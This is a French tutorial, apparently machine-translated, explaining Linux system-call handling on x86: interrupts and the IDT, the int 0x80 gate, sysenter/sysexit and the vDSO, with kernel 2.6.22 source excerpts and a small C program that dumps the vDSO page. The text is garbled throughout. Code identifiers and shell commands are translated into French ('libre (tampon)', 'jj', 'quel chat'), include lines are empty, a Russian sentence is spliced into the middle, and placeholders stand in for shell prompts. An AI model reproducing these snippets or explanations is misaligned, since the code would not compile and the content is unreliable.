Liste Linux des appels système du noyau. Linux - appels système. Appels système sous Linux. Interruptions dans l'architecture x86

A propos de beaucoup de choses - dit le morse, - il est temps de parler.
L. Carroll (Citation du livre de B. Straustrap)

au lieu d'une introduction.

En ce qui concerne la structure interne du noyau Linux en général, ses différents sous-systèmes et appels système en particulier, il a déjà été écrit et réécrit dans l'ordre. Probablement, tout auteur qui se respecte devrait écrire à ce sujet au moins une fois, tout comme tout programmeur qui se respecte doit écrire son propre gestionnaire de fichiers :) Bien que je ne sois pas un rédacteur informatique professionnel, et en général, je prends mes notes exclusivement pour son l'utilité d'abord, pour ne pas oublier trop vite ce qui a été appris. Mais, si mes notes de voyage sont utiles à quelqu'un, bien sûr, je n'en serai que ravi. Eh bien, en général, vous ne pouvez pas gâcher la bouillie avec du beurre, donc peut-être même que je pourrai écrire ou décrire quelque chose que personne n'a pris la peine de mentionner.

Théorie. Qu'est-ce qu'un appel système ?

Lorsqu'ils expliquent aux non-initiés ce qu'est un logiciel (ou système d'exploitation), ils disent généralement ce qui suit : l'ordinateur lui-même est un morceau de fer, mais le logiciel est ce qui rend ce morceau de fer utile. Rugueux, bien sûr, mais en général, un peu vrai. Je dirais probablement la même chose à propos du système d'exploitation et des appels système. En fait, dans différents systèmes d'exploitation, les appels système peuvent être implémentés de différentes manières, le nombre de ces mêmes appels peut varier, mais d'une manière ou d'une autre, sous une forme ou une autre, tout système d'exploitation dispose d'un mécanisme d'appel système. Chaque jour, l'utilisateur travaille explicitement ou implicitement avec des fichiers. Bien sûr, il peut explicitement ouvrir le fichier pour l'éditer dans son MS Word ou Bloc-notes préféré, ou il peut simplement lancer un jouet, dont l'image exécutable, soit dit en passant, est également stockée dans un fichier, qui, à son tour, doit être ouvert et lu par les fichiers exécutables du chargeur. À son tour, le jouet peut également ouvrir et lire des dizaines de fichiers au cours de son travail. Naturellement, les fichiers peuvent non seulement être lus, mais aussi écrits (pas toujours, cependant, mais ici nous ne parlons pas de séparation des droits et d'accès discret :)). Le noyau est responsable de tout cela (dans les systèmes d'exploitation à micro-noyau, la situation peut différer, mais maintenant nous allons discrètement nous occuper de l'objet de notre discussion - Linux, nous allons donc ignorer ce point). En soi, la création d'un nouveau processus est également un service fourni par le noyau du système d'exploitation. Tout cela est merveilleux, tout comme le fait que les processeurs modernes fonctionnent à des fréquences de l'ordre du gigahertz et se composent de plusieurs millions de transistors, mais quelle est la prochaine étape ? Oui, et s'il n'y avait pas de mécanisme par lequel les applications utilisateur pourraient effectuer certaines choses assez banales et, en même temps, nécessaires ( en fait, ces actions triviales ne sont en aucun cas effectuées par l'application utilisateur, mais par le noyau du système d'exploitation - auteur.), alors le système d'exploitation n'était qu'une chose en soi - absolument inutile, ou, au contraire, chaque application utilisateur en elle-même devrait devenir un système d'exploitation afin de répondre indépendamment à tous ses besoins. Nice, n'est-ce pas?

Ainsi, nous en sommes arrivés à la définition d'un appel système en première approximation : un appel système est une sorte de service que le noyau de l'OS fournit à une application utilisateur à la demande de celle-ci. Un tel service peut être l'ouverture déjà mentionnée d'un fichier, sa création, sa lecture, son écriture, la création d'un nouveau processus, l'obtention d'un identifiant de processus (pid), le montage du système de fichiers, l'arrêt du système, enfin. Dans la vraie vie, il y a beaucoup plus d'appels système que ceux répertoriés ici.

À quoi ressemble un appel système et qu'est-ce que c'est ? Eh bien, d'après ce qui a été dit ci-dessus, il devient clair qu'un appel système est un sous-programme du noyau qui a la forme appropriée. Ceux qui ont eu une expérience de programmation Win9x/DOS se souviendront probablement de l'interruption int 0x21 avec toutes (ou au moins certaines) de ses nombreuses fonctions. Cependant, il y a une petite bizarrerie qui s'applique à tous les appels système Unix. Par convention, une fonction qui implémente un appel système peut prendre N arguments ou ne pas en prendre du tout, mais d'une manière ou d'une autre, la fonction doit retourner une valeur de type int. Toute valeur non négative est traitée comme une exécution réussie de la fonction d'appel système, et donc de l'appel système lui-même. Une valeur inférieure à zéro indique une erreur et contient également un code d'erreur (les codes d'erreur sont définis dans les en-têtes include/asm-generic/errno-base.h et include/asm-generic/errno.h). Sous Linux, jusqu'à récemment, l'interruption int 0x80 était la passerelle pour les appels système, tandis que sous Windows (jusqu'à XP Service Pack 2, si je ne me trompe pas), l'interruption 0x2e était une telle passerelle. Encore une fois, dans le noyau Linux, jusqu'à récemment, tous les appels système étaient gérés par la fonction system_call(). Cependant, comme il s'est avéré plus tard, le mécanisme classique de traitement des appels système via la passerelle 0x80 entraîne une baisse significative des performances des processeurs Intel Pentium 4. Par conséquent, le mécanisme classique a été remplacé par la méthode des objets partagés dynamiques virtuels (DSO - dynamique fichier objet partagé. Je ne peux pas garantir la traduction correcte, mais DSO est ce que les utilisateurs de Windows connaissent sous le nom de DLL (Dynamic Link Library) - VDSO. Quelle est la différence entre la nouvelle méthode et la classique ? Tout d'abord, abordons la méthode classique qui fonctionne à travers la porte 0x80.

Le mécanisme classique de gestion des appels système sous Linux.

Interruptions dans l'architecture x86.

Comme mentionné ci-dessus, la passerelle 0x80 (int 0x80) était auparavant utilisée pour traiter les demandes d'application des utilisateurs. Le fonctionnement d'un système basé sur l'architecture IA-32 est contrôlé par des interruptions (à proprement parler, cela s'applique à tous les systèmes basés sur x86 en général). Lorsqu'un événement se produit (un nouveau tick de minuterie, une activité sur un appareil, des erreurs - division par zéro, etc.), une interruption est générée. Une interruption est ainsi nommée car elle interrompt généralement le flux normal de code. Les interruptions sont généralement divisées en matériel et logiciel (interruptions matérielles et logicielles). Les interruptions matérielles sont des interruptions générées par le système et les périphériques. Lorsqu'un périphérique doit attirer l'attention du noyau du système d'exploitation, il (le périphérique) génère un signal sur sa ligne de demande d'interruption (IRQ - Interrupt ReQuest line). Cela conduit au fait qu'un signal correspondant est généré à certaines entrées du processeur, sur la base duquel le processeur décide d'interrompre l'exécution du flux d'instructions et de transférer le contrôle au gestionnaire d'interruption, qui découvre déjà ce qui s'est passé et ce qui doit être être terminé. Les interruptions matérielles sont de nature asynchrone. Cela signifie qu'une interruption peut se produire à tout moment. En plus des périphériques, le processeur lui-même peut générer des interruptions (ou, plus précisément, des exceptions matérielles - Hardware Exceptions - par exemple, la division par zéro déjà mentionnée). Ceci est fait afin d'informer le système d'exploitation de l'occurrence d'une situation anormale, de sorte que le système d'exploitation puisse prendre certaines mesures en réponse à l'occurrence d'une telle situation. Après traitement de l'interruption, le processeur revient à l'exécution du programme interrompu. L'interruption peut être déclenchée par l'application utilisateur. Une telle interruption est appelée une interruption logicielle. Les interruptions logicielles, contrairement aux interruptions matérielles, sont synchrones. Autrement dit, lorsqu'une interruption est appelée, le code qui l'a appelée est suspendu jusqu'à ce que l'interruption soit traitée. Lorsque le gestionnaire d'interruption se termine, il revient à l'adresse distante stockée plus tôt (lorsque l'interruption a été appelée) sur la pile, à l'instruction suivante après l'instruction d'appel d'interruption (int). Un gestionnaire d'interruptions est un morceau de code résident (en permanence en mémoire). En règle générale, il s'agit d'un petit programme. Bien que, si nous parlons du noyau Linux, le gestionnaire d'interruptions n'est pas toujours si petit. Le gestionnaire d'interruption est défini par un vecteur. Un vecteur n'est rien de plus que l'adresse (segment et décalage) du début du code qui doit gérer les interruptions à l'index donné. Travailler avec des interruptions diffère considérablement dans les modes de fonctionnement du processeur réel (mode réel) et protégé (mode protégé) (je vous rappelle que nous entendons ci-après les processeurs Intel et ceux compatibles). Dans le mode réel (non protégé) du processeur, les gestionnaires d'interruption sont définis par leurs vecteurs, qui sont toujours stockés au début de la mémoire. La sélection de l'adresse souhaitée dans la table des vecteurs s'effectue par index, qui est également le numéro d'interruption. En écrasant un vecteur avec un index spécifique, vous pouvez affecter votre propre gestionnaire d'interruption.

En mode protégé, les gestionnaires d'interruptions (passerelles, portes ou gates) ne sont plus définis à l'aide d'une table vectorielle. Au lieu de cette table, la table de porte ou, plus correctement, la table d'interruption - IDT (Interrupt Descriptors Table) est utilisée. Cette table est générée par le noyau et son adresse est stockée dans le registre du processeur idtr. Ce registre n'est pas directement accessible. Vous ne pouvez travailler avec lui qu'en suivant les instructions lidt/sidt. Le premier (lidt) charge dans le registre idtr la valeur spécifiée dans l'opérande, qui est l'adresse de base de la table des descripteurs d'interruption, le second (sidt) stocke l'adresse de la table dans idtr dans l'opérande spécifié. Tout comme les informations de segment sont extraites de la table de descripteurs par le sélecteur, le descripteur de segment servant l'interruption en mode protégé est également extrait. La protection de la mémoire est prise en charge par les processeurs Intel à partir du processeur i80286 (pas tout à fait sous la forme dans laquelle il est présenté maintenant, ne serait-ce que parce que 286 était un processeur 16 bits - donc Linux ne peut pas fonctionner sur ces processeurs) et i80386, et donc le processeur effectue lui-même toutes les sélections nécessaires et, par conséquent, nous n'approfondirons pas toutes les subtilités du mode protégé (à savoir, Linux fonctionne en mode protégé). Malheureusement, ni le temps ni les opportunités ne nous permettent de nous attarder longtemps sur le mécanisme de gestion des interruptions en mode protégé. Oui, ce n'était pas le but en écrivant cet article. Toutes les informations données ici concernant le fonctionnement de la famille de processeurs x86 sont assez superficielles et ne sont fournies que pour aider à comprendre un peu mieux le mécanisme des appels système du noyau. Certaines choses peuvent être apprises directement à partir du code du noyau, même si, pour bien comprendre ce qui se passe, il est toujours souhaitable de se familiariser avec les principes du mode protégé. La section de code qui initialise (mais ne définit pas !) l'IDT se trouve dans arch/i386/kernel/head.S : /* * setup_idt * * configure un idt avec 256 entrées pointant vers * ignore_int, portes d'interruption. Il ne charge pas réellement * idt - cela ne peut être fait qu'après que la pagination a été activée * et que le noyau a été déplacé vers PAGE_OFFSET. Les interruptions * sont activées ailleurs, lorsque nous pouvons être relativement * sûrs que tout va bien. * * Avertissement : %esi est actif sur cette fonction.*/ 1.setup_idt : 2.lea ignore_int,%edx 3.movl $(__KERNEL_CS<< 16),%eax 4. movw %dx,%ax /* selector = 0x0010 = cs */ 5. movw $0x8E00,%dx /* interrupt gate - dpl=0, present */ 6. lea idt_table,%edi 7. mov $256,%ecx 8.rp_sidt: 9. movl %eax,(%edi) 10. movl %edx,4(%edi) 11. addl $8,%edi 12. dec %ecx 13. jne rp_sidt 14..macro set_early_handler handler,trapno 15. lea \handler,%edx 16. movl $(__KERNEL_CS << 16),%eax 17. movw %dx,%ax 18. movw $0x8E00,%dx /* interrupt gate - dpl=0, present */ 19. lea idt_table,%edi 20. movl %eax,8*\trapno(%edi) 21. movl %edx,8*\trapno+4(%edi) 22..endm 23. set_early_handler handler=early_divide_err,trapno=0 24. set_early_handler handler=early_illegal_opcode,trapno=6 25. set_early_handler handler=early_protection_fault,trapno=13 26. set_early_handler handler=early_page_fault,trapno=14 28. ret Quelques notes sur le code : Le code ci-dessus est écrit dans une variante de l'assembleur AT&T, donc votre connaissance de l'assembleur dans sa notation Intel habituelle ne peut qu'être déroutante. La différence la plus fondamentale réside dans l'ordre des opérandes. Si l'ordre est défini pour la notation Intel - "accumulateur"< "источник", то для ассемблера AT&T порядок прямой. Регистры процессора, как правило, должны иметь префикс "%", непосредственные значения (константы) префиксируются символом доллара "$". Синтаксис AT&T традиционно используется в Un*x-системах.

Dans l'exemple ci-dessus, les lignes 2 à 4 définissent l'adresse du gestionnaire d'interruptions par défaut pour toutes les interruptions. Le gestionnaire par défaut est la fonction ignore_int, qui ne fait rien. La présence d'un tel stub est nécessaire pour le traitement correct de toutes les interruptions à ce stade, car il n'y en a tout simplement pas encore d'autres (bien que les traps soient installés un peu plus bas dans le code - pour les traps, voir Intel Architecture Manual Reference ou quelque chose de similaire, nous ne serons pas ici des pièges tactiles). La ligne 5 définit le type de vanne. A la ligne 6, nous chargeons l'adresse de notre table IDT dans le registre d'index. La table doit contenir 255 entrées de 8 octets chacune. Aux lignes 8 à 13, nous remplissons tout le tableau avec les mêmes valeurs définies précédemment dans les registres eax et edx - c'est-à-dire qu'il s'agit de la porte d'interruption faisant référence au gestionnaire ignore_int. Un peu plus bas, nous définissons une macro pour la pose de pièges - lignes 14-22. Aux lignes 23 à 26, en utilisant la macro ci-dessus, nous définissons des pièges pour les exceptions suivantes : early_divide_err - division par zéro (0), early_illegal_opcode - instruction de processeur inconnue (6), early_protection_fault - échec de protection de la mémoire (13), early_page_fault - traduction de page panne (14) . Entre parenthèses sont indiqués les nombres "d'interruptions" générées lorsque la situation anormale correspondante se produit. Avant de vérifier le type de processeur dans arch/i386/kernel/head.S, la table IDT est définie en appelant setup_idt : /* * démarre la configuration 32 bits du système. Nous devons refaire certaines des choses faites * en mode 16 bits pour les "vraies" opérations. */ 1. appelez setup_idt ... 2. appelez check_x87 3. lgdt early_gdt_descr 4. lidt idt_descr Après avoir trouvé le type de (co)processeur et effectué tout le travail préparatoire des lignes 3 et 4, nous chargeons les tables GDT et IDT, qui seront utilisées dans les toutes premières étapes du noyau.

Appels système et int 0x80.

Des interruptions, revenons aux appels système. Alors, que faut-il pour servir un processus qui demande un certain type de service ? Tout d'abord, vous devez passer de l'anneau 3 (niveau de privilège CPL=3) au niveau 0 le plus privilégié (Ring 0, CPL=0). le code du noyau se trouve dans le segment avec les privilèges les plus élevés. De plus, vous avez besoin du code du gestionnaire qui servira au processus. C'est à cela que sert la passerelle 0x80. Bien qu'il existe de nombreux appels système, ils utilisent tous un seul point d'entrée - int 0x80. Le gestionnaire lui-même est défini lors de l'appel de la fonction arch/i386/kernel/traps.c::trap_init() : void __init trap_init(void) ( ... set_system_gate(SYSCALL_VECTOR,&system_call); ... ) Nous sommes surtout intéressés par cette ligne dans trap_init(). Dans le même fichier ci-dessus, vous pouvez regarder le code de la fonction set_system_gate() : static void __init set_system_gate(unsigned int n, void *addr) ( _set_gate(n, DESCTYPE_TRAP | DESCTYPE_DPL3, addr, __KERNEL_CS); ) Ici, vous pouvez voir que la porte pour l'interruption 0x80 (à savoir, cette valeur est définie par la macro SYSCALL_VECTOR - vous pouvez prendre un mot pour cela :)) est définie comme un piège avec le niveau de privilège DPL=3 (Ring 3), c'est-à-dire cette interruption sera interceptée lorsqu'elle sera appelée depuis l'espace utilisateur. Le problème avec la transition de Ring 3 à Ring 0 donc. résolu. La fonction _set_gate() est définie dans le fichier d'en-tête include/asm-i386/desc.h. Pour ceux qui sont particulièrement curieux, voici le code, sans longues explications cependant : static inline void _set_gate(int gate, unsigned int type, void *addr, unsigned short seg) ( __u32 a, b; pack_gate(&a, &b, (unsigned long)addr, seg, type, 0); write_idt_entry(idt_table, gate , un B); ) Revenons à la fonction trap_init(). Il est appelé depuis la fonction start_kernel() dans init/main.c . Si vous regardez le code trap_init(), vous pouvez voir que cette fonction réécrit à nouveau certaines valeurs de table IDT - les gestionnaires qui ont été utilisés dans les premières étapes de l'initialisation du noyau (early_page_fault, early_divide_err, early_illegal_opcode, early_protection_fault) sont remplacés par ceux qui sera déjà utilisé dans le travail du noyau de processus. Donc, nous sommes presque arrivés au point et savons déjà que tous les appels système sont traités de la même manière - via la passerelle int 0x80. En tant que gestionnaire pour int 0x80, comme le montre à nouveau le morceau de code ci-dessus arch/i386/kernel/traps.c::trap_init(), la fonction system_call() est définie.

appel_système().

Le code de la fonction system_call() se trouve dans le fichier arch/i386/kernel/entry.S et ressemble à ceci : # stub du gestionnaire d'appels système ENTRY(system_call) RING0_INT_FRAME # ne peut pas se dérouler dans l'espace utilisateur pushl %eax # de toute façon enregistrer orig_eax CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL GET_THREAD_INFO(%ebp) # traçage des appels système en opération / émulation /* Remarque, _TIF_SECCOMP est le bit numéro 8 , et donc il a besoin de testw et non de testb */ testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp) jnz syscall_trace_entry cmpl $(nr_syscalls), %eax jae syscall_badsys syscall_call: call *sys_call_table(,% 4) movl %eax,PT_EAX(%esp) # stocke la valeur de retour ... Le code n'est pas complet. Comme vous pouvez le voir, system_call() configure d'abord la pile pour qu'elle fonctionne dans Ring 0, enregistre la valeur qui lui est transmise via eax dans la pile, enregistre également tous les registres dans la pile, obtient des données sur le thread appelant et vérifie si la valeur qui lui est transmise, le numéro de l'appel système, est hors limites. en dehors de la table des appels système, puis enfin en utilisant la valeur transmise à eax comme argument, system_call() saute au gestionnaire de sortie système réel en fonction de à quelle entrée de table l'index dans eax fait référence. Rappelez-vous maintenant la bonne vieille table de vecteurs d'interruption du mode réel. Cela ne vous rappelle rien ? En réalité, bien sûr, tout est un peu plus compliqué. En particulier, l'appel système doit copier les résultats de la pile du noyau vers la pile de l'utilisateur, transmettre un code de retour et quelques autres choses. Dans le cas où l'argument spécifié dans eax ne fait pas référence à un appel système existant (la valeur est hors limites), le saut vers l'étiquette syscall_badsys se produit. Ici, la valeur -ENOSYS est poussée sur la pile à l'offset auquel la valeur de eax doit être située - l'appel système n'est pas implémenté. Ceci termine l'exécution de system_call().

La table des appels système se trouve dans le fichier arch/i386/kernel/syscall_table.S et a une forme assez simple : ENTRY(sys_call_table) .long sys_restart_syscall /* 0 - ancien appel système "setup()", utilisé pour redémarrer */ .long sys_exit .long sys_fork .long sys_read .long sys_write .long sys_open /* 5 */ .long sys_close .long sys_waitpid .long sys_creat ... En d'autres termes, la table entière n'est rien de plus qu'un tableau d'adresses de fonctions, organisées dans l'ordre des numéros d'appels système que ces fonctions servent. La table est un tableau ordinaire de mots machine doubles (ou mots 32 bits - comme vous voulez). Le code d'une partie des fonctions traitant les appels système se trouve dans la partie spécifique à la plate-forme - arch/i386/kernel/sys_i386.c, et la partie indépendante de la plate-forme - dans kernel/sys.c .

C'est le cas des appels système et de la porte 0x80.

Un nouveau mécanisme de gestion des appels système sous Linux. sysenter/sysexit.

Comme mentionné, il est rapidement devenu évident que l'utilisation de la méthode traditionnelle de traitement des appels système basée sur la porte 0x80 entraînait une perte de performances sur les processeurs Intel Pentium 4. Par conséquent, Linus Torvalds a implémenté un nouveau mécanisme dans le noyau basé sur les instructions sysenter / sysexit et conçu pour augmenter les performances du noyau sur les machines, équipées d'un processeur Pentium II et supérieur (c'est avec les Pentium II+ que les processeurs Intel supportent les instructions sysenter/sysexit mentionnées). Quelle est l'essence du nouveau mécanisme? Curieusement, mais l'essence est restée la même. L'exécution a changé. Selon la documentation d'Intel, l'instruction sysenter fait partie du mécanisme des "appels système rapides". En particulier, cette instruction est optimisée pour passer rapidement d'un niveau de privilège à un autre. Plus précisément, il accélère le passage à l'anneau 0 (Ring 0, CPL=0). Dans ce cas, le système d'exploitation doit préparer le processeur à utiliser l'instruction sysenter. Ce réglage est effectué une fois lors du chargement et de l'initialisation du noyau du système d'exploitation. Lorsque sysenter est appelé, il définit les registres du processeur en fonction des registres dépendant de la machine précédemment définis par le système d'exploitation. En particulier, le registre de segment et le registre de pointeur d'instruction - cs:eip, ainsi que le segment de pile et le pointeur de sommet de pile - ss, esp sont définis. Le passage à un nouveau segment de code et le passage s'effectuent de l'anneau 3 à 0.

L'instruction sysexit fait le contraire. Il effectue une transition rapide du niveau de privilège 0 au niveau de privilège 3 (CPL=3). Dans ce cas, le registre de segment de code est mis à 16 + la valeur du segment cs stocké dans le registre de processeur dépendant de la machine. Le registre eip est rempli avec le contenu du registre edx. La somme de 24 et la valeur de cs, entrée précédemment par le système d'exploitation dans le registre dépendant de la machine du processeur, est entrée dans ss lors de la préparation du contexte pour le fonctionnement de l'instruction sysenter. esp est rempli avec le contenu du registre ecx. Les valeurs requises pour que les instructions sysenter/sysexit fonctionnent sont stockées aux emplacements suivants :

  1. SYSENTER_CS_MSR 0x174 - segment de code où la valeur du segment contenant le code du gestionnaire d'appels système est entrée.
  2. SYSENTER_ESP_MSR 0x175 - pointeur vers le haut de la pile pour le gestionnaire d'appels système.
  3. SYSENTER_EIP_MSR 0x176 - pointeur vers le décalage dans le segment de code. Pointe vers le début du code du gestionnaire d'appels système.
Ces adresses font référence à des registres dépendant du modèle qui n'ont pas de nom. Les valeurs sont écrites dans des registres dépendant du modèle à l'aide de l'instruction wrmsr, tandis que edx: eax doit contenir les parties majeure et mineure d'un mot machine 64 bits, respectivement, et l'adresse du registre à écrire doit être entrée dans exx. Sous Linux, les adresses des registres dépendant du modèle sont définies dans le fichier d'en-tête include/asm-i368/msr-index.h comme suit (avant la version 2.6.22, au moins elles étaient définies dans le fichier include/asm-i386/msr .h, je vous rappelle que nous considérons le mécanisme des appels système en utilisant le noyau Linux 2.6.22 comme exemple) : # définir MSR_IA32_SYSENTER_CS 0x00000174 # définir MSR_IA32_SYSENTER_ESP 0x00000175 # définir MSR_IA32_SYSENTER_EIP 0x00000176 Le code du noyau responsable de la configuration des registres dépendant du modèle se trouve dans le fichier arch/i386/sysenter.c et ressemble à ceci : 1. void enable_sep_cpu(void) ( 2. int cpu = get_cpu(); 3. struct tss_struct *tss = &per_cpu(init_tss, cpu); 4. if (!boot_cpu_has(X86_FEATURE_SEP)) ( 5. put_cpu(); 6. return ;) 7. tss->x86_tss.ss1 = __KERNEL_CS ; 8. tss->x86_tss.esp1 = sizeof(struct tss_struct) + (unsigned long) tss ; 9. wrmsr(MSR_IA32_SYSENTER_CS, __KERNEL_CS, 0); 10. wrmsr( MSR_IA32_SYSENTER_ESP, tss->x86_tss.esp1, 0); 11. wrmsr(MSR_IA32_SYSENTER_EIP, (long non signé) sysenter_entry, 0); 12. put_cpu(); ) Ici, dans la variable tss, nous obtenons l'adresse de la structure qui décrit le segment d'état de la tâche. TSS (Task State Segment) est utilisé pour décrire le contexte d'une tâche et fait partie du mécanisme multitâche matériel x86. Cependant, Linux utilise peu la commutation de contexte de tâche matérielle. Selon la documentation d'Intel, le passage à une autre tâche se fait soit en exécutant une instruction de saut inter-segment (jmp ou call) qui fait référence au segment TSS, soit au descripteur de porte de tâche dans le GDT (LDT). Un registre de processeur spécial, invisible pour le programmeur - TR (Task Register - registre de tâches) contient le sélecteur de descripteur de tâche. Le chargement de ce registre charge également les registres de base et de limite invisibles au logiciel associés à TR.

Même si Linux n'utilise pas la commutation de contexte de tâche matérielle, le noyau est obligé d'allouer une entrée TSS pour chaque processeur installé sur le système. En effet, lorsque le processeur passe du mode utilisateur au mode noyau, il récupère l'adresse de la pile du noyau à partir de TSS. De plus, TSS est nécessaire pour contrôler l'accès aux ports d'E/S. Le TSS contient une carte des autorisations de port. Sur la base de cette carte, il devient possible de contrôler l'accès aux ports pour chaque processus à l'aide d'instructions d'entrée / sortie. Ici tss->x86_tss.esp1 pointe vers la pile du noyau. __KERNEL_CS pointe naturellement vers le segment de code du noyau. L'offset-eip est l'adresse de la fonction sysenter_entry().

La fonction sysenter_entry() est définie dans le fichier arch/i386/kernel/entry.S et ressemble à ceci : /* SYSENTER_RETURN pointe après l'instruction "sysenter" dans la page vsyscall. Voir vsyscall-sysentry.S, qui définit le symbole. */ # sysenter call handler stub ENTRY(sysenter_entry) CFI_STARTPROC simple CFI_SIGNAL_FRAME CFI_DEF_CFA esp, 0 CFI_REGISTER esp, ebp movl TSS_sysenter_esp0(%esp),%esp sysenter_past_esp: /* * Pas besoin de suivre cette section irqs on/off : le syscall * irqs désactivés et ici nous l'activons juste après l'entrée : */ ENABLE_INTERRUPTS(CLBR_NONE) pushl $(__USER_DS) CFI_ADJUST_CFA_OFFSET 4 /*CFI_REL_OFFSET ss, 0*/ pushl %ebp CFI_ADJUST_CFA_OFFSET 4 CFI_REL_OFFSET esp, 0 pushfl CFI_ADJUST_COFFFA_OFFSET 4 pushl 4 /*CFI_REL_OFFSET , 0*/ /* * Poussez current_thread_info()->sysenter_return vers la pile. * Un tout petit peu de correction de décalage est nécessaire - 4*4 signifie les 4 mots * poussés ci-dessus ; +8 correspond au paramètre esp0 de copy_thread. */ pushl (TI_sysenter_return-THREAD_SIZE+8+4*4)(%esp) CFI_ADJUST_CFA_OFFSET 4 CFI_REL_OFFSET eip, 0 /* * Charge le sixième argument potentiel de la pile utilisateur. * Attention à la sécurité .*/ cmpl $__PAGE_OFFSET-3,%ebp jae syscall_fault 1 : movl (%ebp),%ebp .section __ex_table,"a" .align 4 .long 1b,syscall_fault .previous pushl %eax CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL GET_THREAD_INFO(%ebp ) /* Remarque, _TIF_SECCOMP est le bit numéro 8, et il a donc besoin de testw et non de testb */ testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp) jnz syscall_trace_entry cmpl $(nr_syscalls), %eax jae syscall_badsys call *sys_call_table(,%eax,4) movl %eax,PT_EAX(%esp) DISABLE_INTERRUPTS(CLBR_ANY) TRACE_IRQS_OFF movl TI_flags(%ebp), %ecx testw $_TIF_ALLWORK_MASK, %cx jne syscall_exit_work /* si quelque chose modifie les registres, il doit aussi désactiver sysexit */ movl PT_EIP(%esp), %edx movl PT_OLDESP(%esp), %ecx xorl % ebp,%ebp TRACE_IRQS_ON 1 : mov PT_FS(%esp), %fs ENABLE_INTERRUPTS_SYSEXIT CFI_ENDPROC .pushsection .fixup,"ax" 2 : movl $0,PT_FS(%esp) jmp 1b .section __ex_table,"a" .align 4 .long 1b,2b .popsection ENDPROC(entrée_système) Comme avec system_call() , le travail principal est effectué dans la ligne call *sys_call_table(,%eax,4). C'est là que le gestionnaire d'appels système spécifique est appelé. Donc, force est de constater que peu de choses ont fondamentalement changé. Le fait que le vecteur d'interruption soit maintenant entassé dans le matériel et le processeur nous aide à passer rapidement d'un niveau de privilège à un autre ne change que quelques détails de l'exécution avec le même contenu. Certes, les changements ne s'arrêtent pas là. Rappelez-vous comment l'histoire a commencé. Au tout début, j'ai déjà évoqué les objets partagés virtuels. Donc, si auparavant l'implémentation d'un appel système, disons, à partir de la bibliothèque système libc ressemblait à un appel d'interruption (malgré le fait que la bibliothèque a repris certaines fonctions pour réduire le nombre de changements de contexte), maintenant grâce à VDSO un appel système peut être fait presque directement, sans l'implication de la libc. Cela aurait pu être fait directement avant, encore une fois, comme une interruption. Mais maintenant, l'appel peut être demandé comme une fonction régulière exportée à partir d'une bibliothèque liée dynamiquement (DSO). Au démarrage, le noyau détermine quel mécanisme doit et peut être utilisé pour une plate-forme donnée. Selon les circonstances, le noyau définit le point d'entrée sur la fonction qui exécute l'appel système. Ensuite, la fonction est exportée vers l'espace utilisateur en tant que bibliothèque linux-gate.so.1. La bibliothèque linux-gate.so.1 n'existe pas physiquement sur le disque. Il est, pour ainsi dire, émulé par le noyau et n'existe que tant que le système fonctionne. Si vous effectuez un arrêt du système, montez le FS racine à partir d'un autre système, vous ne trouverez pas ce fichier sur le FS racine du système arrêté. En fait, vous ne pourrez pas le trouver même sur un système en cours d'exécution. Physiquement, ça n'existe tout simplement pas. C'est pourquoi linux-gate.so.1 est autre chose que VDSO - c'est-à-dire Objet virtuel partagé dynamiquement. Le noyau mappe la bibliothèque dynamique émulée de cette manière dans l'espace d'adressage de chaque processus. Vous pouvez facilement le vérifier en exécutant la commande suivante : [courriel protégé]:~$ cat /proc/self/maps 08048000-0804c000 r-xp 00000000 08:01 46 0 ... b7fdf000-b7fe1000 rw-p 00019000 08:01 2066 /lib/ld-2.5.so bffd2000-bffe8000 rw-p bffd2000 00:00 0 fffe000-fffff000 r-xp 00000000 00:00 0 Ici la toute dernière ligne est l'objet qui nous intéresse : fffe000-ffff000 r-xp 00000000 00:00 0 De l'exemple ci-dessus, on peut voir que l'objet occupe exactement une page en mémoire - 4096 octets, pratiquement à la périphérie de l'espace d'adressage. Faisons une autre expérience : [courriel protégé]:~$ ldd `quel chat` linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e87000) /lib/ld-linux .so.2 (0xb7fdf000) [courriel protégé]:~$ ldd `quel gcc` linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e3c000) /lib/ld-linux .so.2 (0xb7f94000) [courriel protégé]:~$ Ici, nous avons simplement pris deux applications. On peut voir que la bibliothèque est mappée à l'espace d'adressage du processus à la même adresse permanente - 0xffffe000. Essayons maintenant de voir ce qui est réellement stocké sur cette page mémoire...

Vous pouvez vider la page mémoire où le code partagé VDSO est stocké à l'aide du programme suivant : #include #include #include int main () ( char* vdso = 0xffffe000; char* buffer; FILE* f; buffer = malloc(4096); if (!buffer) exit(1); memcpy(buffer, vdso, 4096) ; if (!(f = fopen ("test.dump", "w+b"))) ( libre (tampon); exit (1); ) fwrite (tampon, 4096, 1, f); fclose (f) ; libre (tampon); renvoie 0; ) Strictement parlant, auparavant cela pouvait se faire plus simplement avec la commande jj if=/proc/self/mem of=test.dump bs=4096 skip=1048574 count=1, mais les noyaux depuis la version 2.6.22 ou peut-être même plus tôt ne mappent plus la mémoire du processus sur /proc/`pid`/mem. Ce fichier, apparemment conservé par compatibilité, ne contient plus d'informations.

